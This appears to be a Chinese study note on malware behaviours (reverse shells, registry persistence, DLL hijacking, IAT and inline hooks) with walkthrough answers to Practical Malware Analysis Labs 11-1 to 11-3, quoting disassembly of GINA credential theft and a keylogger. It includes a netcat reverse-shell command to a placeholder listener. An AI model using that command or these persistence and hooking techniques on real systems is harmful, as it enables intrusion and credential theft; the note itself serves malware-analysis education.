知识点
本章中会介绍恶意代码常见的恶意行为，方便我们识别各种各样的恶意程序。
下载器和启动器：常见的两种恶意代码是下载器和启动器。下载器从互联网上下载其他的恶意代码，然后在本地系统中运行，通常使用WindowsAPI函数URLDownloadtoFileA和WinExec，来下载并运行新的恶意代码。启动器也成为加载器，是一类可执行文件，用来安装立即运行或者将来运行的恶意代码。
后门：后门可以让攻击者远程访问一个受害的机器。通常使用80端口的HTTP协议与控制机器进行通信。
反向Shell：反向Shell是从受害者主机发起的向攻击者连接，为攻击者提供被感染机器的访问权限，一般有如下反向弹Shell的方式：
- NetCat：网络瑞士军刀，可以通过命令
nc listener_ip 80 -e cmd.exe来弹Shell。 - Windows反向Shell：使用
cmd.exe作为反向Shell，首先创建一个套接字并于远程服务器简历连接。然后绑定这个套接字与cmd.exe的标准流再调用CreateProcess函数用隐藏窗口的方式创建cmd.exe。也可以使用多线程方式：使用CreatPipe来绑定一个通道的读写端，如标准输入标准输出，CreateProcess函数用来绑定一个管道与标准流，而不是直接与套接字绑定。调用CreateProcess方法，恶意代码会产生两个线程，一个用来从标准输入管道读取数据，并向套接字写数据，另外一个用来从一个套接字读数据，并向一个标准管道中写数据。通常这两个线程使用数据编码来混淆数据。
远程控制工具：远程控制工具RAT能被用来管理一台或者多台计算机。远程控制工具进场为了特定目标，如窃取信息或者旁路一个网络执行针对性的攻击。
僵尸网络：僵尸网络是被感染主机的一个集合。他们由单一实体控制，其目标同行是为了进行DDoS攻击。
登陆凭证窃密器：攻击者通常使用以下三种方法进行登陆凭证的窃取：
- 等待用户登陆以窃取登陆凭证
- 击键记录器
- 转储Windows系统中存放的信息，如密码hash值，程序直接使用它或者对它进行离线爆破。
特殊注册表：恶意代码编写者可以通过一个名为AppInit_DLL特殊注册表项来让他们的DLL得到加载，此注册表项中的DLL程序回在进程加载User32.dll时被加载，AppInit_DLL位置如下：
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost |
恶意代码编写者可以挂钩一个特殊的Winlogon Notify事件，如登陆、注销、关机、锁屏等，这些甚至允许恶意代码再安全模式下加载，以下注册表键中的注册表项包含Notify值：
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ |
Windows所有的服务都存在与注册表中，恶意代码经常作为一个服务安装，安装的恶意代码作为svchost.exe的DLL来存活，这使得恶意代码可以与其他进程混淆，更像一个标准的服务。svchost.exe时从动态链接库中运行服务的通用主机进程，Windows操作系统通常用以时刻运行多个svchost.exe实例，每个实例包含一组服务，这些组定义子啊下列的注册表位置：
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost |
服务被定义在如下位置：
1 | HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName |
特洛伊木马化（Trojanized）系统二进制文件：此技术可以直接修改系统的二进制文件，当被感染的二进制文件运行或加载时，将会强制运行恶意代码，恶意代码通常修改一个系统文件的函数入口点，使它跳转到恶意代码，这些修改补丁覆盖函数的开始代码或者覆盖其他的一些并不影响特洛伊木马化DLL正常操作的代码，为了不影响二进制文件的正常操作，恶意代码经常被加到一个可执行文件的空节中，插入的代码并不关心他被插入到感染的DLL的位置。加载恶意代码后，为了让DLL的操作与插入前的一致，代码会跳转回原始的DLL程序。
DLL加载顺序劫持：这是一种简单而隐蔽的指数，它允许恶意代码编写者再不适用注册表项或者特洛伊二进制文件的前提下创建一个存活的、恶意的DLL程序，这种技术甚至不需要单独的恶意加载器。以下是再Windows XP中加载DLL的默认搜索顺序：
- 加载应用程序的目录
- 当前目录
- 系统目录（使用
GetSystemDirectory函数获取的路径） - 16位子系统的系统目录
- Windows目录
- PATH环境变量中列出的目录
在WindowsXP中利用KnownDLL注册表键可以跳过DLL的加载过程，这注册表键保护一些特定的DLL位置列表。DLL加载顺序劫持可以被System32之外的目录中的二进制文件利用，来加载未被KnownDLL保护的DLL程序。由于DLL递归导入的原因，很多DLL会在加载其他的DLL，而这些DLL按照默顺序加载，因此KnownDLL机制也不能得到充分的保护。
提权：多数提权攻击时利用本地系统已知漏洞或者0Day漏洞进行攻击。DLL加载顺序劫持也可以被用来进行提权操作，加入恶意DLL所在的目录是用户可写的，并且加载这个DLL的进程在一个高特权级上运行，那么DLL就获得了提权。
使用SeDebugPrivilege进行提权：在Windows系统中，访问令牌是一个包含进程安全描述符的对象，安全描述符用来指定拥有者的访问权限，SeDebugPrivilege特权作为一个系统级别调试的工具被创建，默认情况下，SeDebugPrivilege只赋给本地系统账户权限。普通的用户账号不能给自身赋予SeDebugPrivilege权限。
IAT Hook：这是一种在用户空间中很常见的Rootkit方法，它隐藏本地系统中的文件、进程以及网络连接，这种Hook方法修改导入地址表（IAT）或者导出地址表（EAT）从而改变程序的执行流程，但是这种方法很容易被检测出来。
Inline Hook：这种方法使用过覆盖导入DLL中的API函数的代码来实现的，所以它必须等到DLL被加载后才能执行。IAT Hook知识简单的修改函数指针，但是Inline Hook将修改实际的函数代码。恶意Rootkit通常使用一个跳转指令替换函数的开始代码来执行Inline Hook，这个跳转指令使Rootkit插入的恶意代码获取执行，另外Rootkit还可以通过改变函数的代码来破坏它或者改变它，而不是跳转到恶意代码。
课后练习
Lab11-1
分析恶意代码Lab11-01.exe
问题
1.这个恶意代码项磁盘释放了什么？
通过静态分析，在004010C9位置发现如下代码：
1 | .text:004010B8 mov eax, lpType |
在资源节发现了名为TGAD的节，程序对此节进行了二进制资源的提取。
因此程序在磁盘上释放的文件是从资源节中提取出来的数据存储为msgina32.dll。
2.这个恶意代码如何进行驻留？
根据如下代码：
1 | .text:00401004 push 0 ; lpdwDisposition |
得知恶意代码写入注册表项SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon并设置了值GinaDLL。
3.这个恶意代码如何窃取用户登陆凭证？
在msgina32.dll文件的导出函数中发现了大量的以Wlx开头的函数名：
这些函数都会调用函数sub_10001000()，此函数会直接将调用函数的名称用GetProcAddress函数在msgina.dll文件中查找此函数的地址并将执行流程交给目标函数，目标函数执行完成之后又会返回到恶意程序中，msgina32.dll中的大部分Wlx开头的函数都是这个结构，但是在函数WlxLoggedOutSAS中却不一样，在WlxLoggedOutSAS中调用了函数sub_10001570()向文件msutil32.sys存储了用户凭证的数据。
4.这个恶意代码对窃取的证书做了什么处理？
通过查看10001570处代码找到程序将窃取的证书存储在了一个名为msutil32.sys的文件中。
5.如何在你的测试环境让这个恶意代码获得用户登陆凭证？
函数WlxLoggedOutSAS的调用发生在用户注销时，因此我们注销重启后就能看到用户登陆凭证。
Lab11-2
分析恶意代码Lab11-02.dll。假设一个名为Lab11-02.ini的可疑文件与这个恶意代码一同被发现。
问题
1.这个恶意DLL导出了什么？
这个DLL有两个导出函数：
1 | Name Address Ordinal |
2.使用rundll32.exe安装这个恶意代码之后，发生了什么？
使用命令
1 | rundll32.exe Lab11_02.dll, installer |
程序会在SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs写入自身，并且将spoolvxx32.dll写入到系统目录中。
3.为了使这个恶意代码正确安装，Lab11-02.ini必须被放置在何处？
1 | .text:1000166F push 0 ; hTemplateFile |
此处程序会尝试访问系统目录下的Lab11-02.ini文件，如果此文件存在则继续执行，否则退出，因此我们需要将Lab11-02.ini放在系统目录下。
4.这个安装的恶意代码如何驻留？
通过在注册表SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs中添加spoolvxx32.dll。
5.这个恶意代码采用的用户态Rootkit技术是什么？
Inline Hook
6.挂钩代码做了什么？
1 | .text:10001203 push ebp |
7.哪个文件或者哪些进程执行这个恶意攻击。为什么？
程序会对比当前进程名是否与THEBAT.EXE、OUTLOOK.EXE、MSIMN.EXE其中的任意一个相同，如果相同则运行恶意代码，否则退出。
1 | if ( !memcmp(Buf1, aThebatExe_0, v2) // THEBAT.EXE |
8..ini文件的意义是什么？
代码读取.ini文件中的数据，通过函数sub_100010B3进行解密得出一个邮箱地址`billy@malwareanalysisbook.com`。
9.你怎样使用WireShark动态抓取这个恶意代码的行为？
打开WireShark并用outlook发送邮件。
Lab11-3
分析恶意代码Lab11-03.exe和Lab11-03.dll。确保这两个文件在分析时位于同一个目录中。
问题
1.使用基础的静态分析过程，你可以发现什么有趣的线索？
在Lab11-03.exe中发现了一些有意思的字符串：
1 | Address Length Type String |
Lab11-03.dll中的字符串：
1 | .rdata:1000754C 00000008 C H:mm:ss |
程序导入了GetAsyncKeyState函数，因此可能是一个键盘窃听器。
2.当运行这个恶意代码时，发生了什么？
运行ProcessMonitor并运行这个恶意代码可以找出如下行为：
- 程序将自身复制到
C:\\WINDOWS\\System32\\inet_epar32.dll - 对文件
C:\\WINDOWS\\System32\\kernel64x.dll进行写操作 - 对文件
C:\\WINDOWS\\System32\\cisvc.exe进行写操作
3.Lab11-03.exe如何安装Lab11-03.dll使其长期驻留？
将Lab11-03.exe加载到IDA中可以看到：
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
程序先将Lab11-03.dll拷贝到C:\WINDOWS\System32\inet_epar32.dll，然后又打开了cisvc.exe的句柄，将此句柄作为函数 sub_401070的参数门之后又使用net start cisvc命令启动了cisvc服务，结合之前的分析我们可以猜测恶意代码对cisvc进行了修改，因此把分析的重点放到函数sub_401070上。
从IDA为 sub_401070生成的伪c代码来看：
1 | int __cdecl sub_401070(LPCSTR lpFileName) |
函数将文件cisvc.exe映射到内存之后对此文件进行了一些列的修改行为，但是由于代码又很多混淆，不容易进行静态分析，因此需要进行动态分析，载入OD中函数sub_401070下断点并进行单步调试，发现Lab11-03.exe会先查找cisvc.exe的PE头再查找到.text，然后在此位置有一个较为复杂的循环写值的操作：
1 | .text:004011FF cmp [ebp+var_20], 13Ah |
修改前：
修改后：
使用HexCmp工具查看这两个二进制文件的区别（淡红色区域）：
经过一步一步对比发现这些新的shellcode是位于004011FF的代码进行的，恶意代码对此文件的入口点进行了修改，由原来的129B修改为了1A28:
在OD中打开修改后的文件cisvc.exe看到如下shellcode：
1 | 01001B0A . FF55 FC call dword ptr ss:[ebp-0x4] ; kernel32.LoadLibraryExA |
cisvc.exe现时使用LoadLibrary函数将C:\WINDOWS\System32\inet_epar32.dll加载到内存中然后获取导出函数zzz69806582的地址并执行此函数，之后在跳转到正常的程序入口点，从而使恶意代码达到长期驻留的目的。
4.这个恶意代码感染Windows系统的哪个文件？
cisvc.exe
5.Lab11-03.dll做了什么？
名为的导出函数zzz69806582创建了一个线程，我们集中分析这个函数：
1 | BOOL zzz69806582() |
函数会创建一个MZ的互斥量:
1 | push offset Name ; "MZ" |
将C:\\WINDOWS\\System32\\kernel64x.dll加载到内存中：
1 | push 0 |
将文件指针指向C:\\WINDOWS\\System32\\kernel64x.dll的末尾：
1 | push 2 |
循环调用函数sub_10001380进行键盘敲击记录：
1 | signed int __cdecl sub_10001380(int a1) |
6.这个恶意代码将收集的数据存放在何处？
C:\\WINDOWS\\System32\\kernel64x.dll
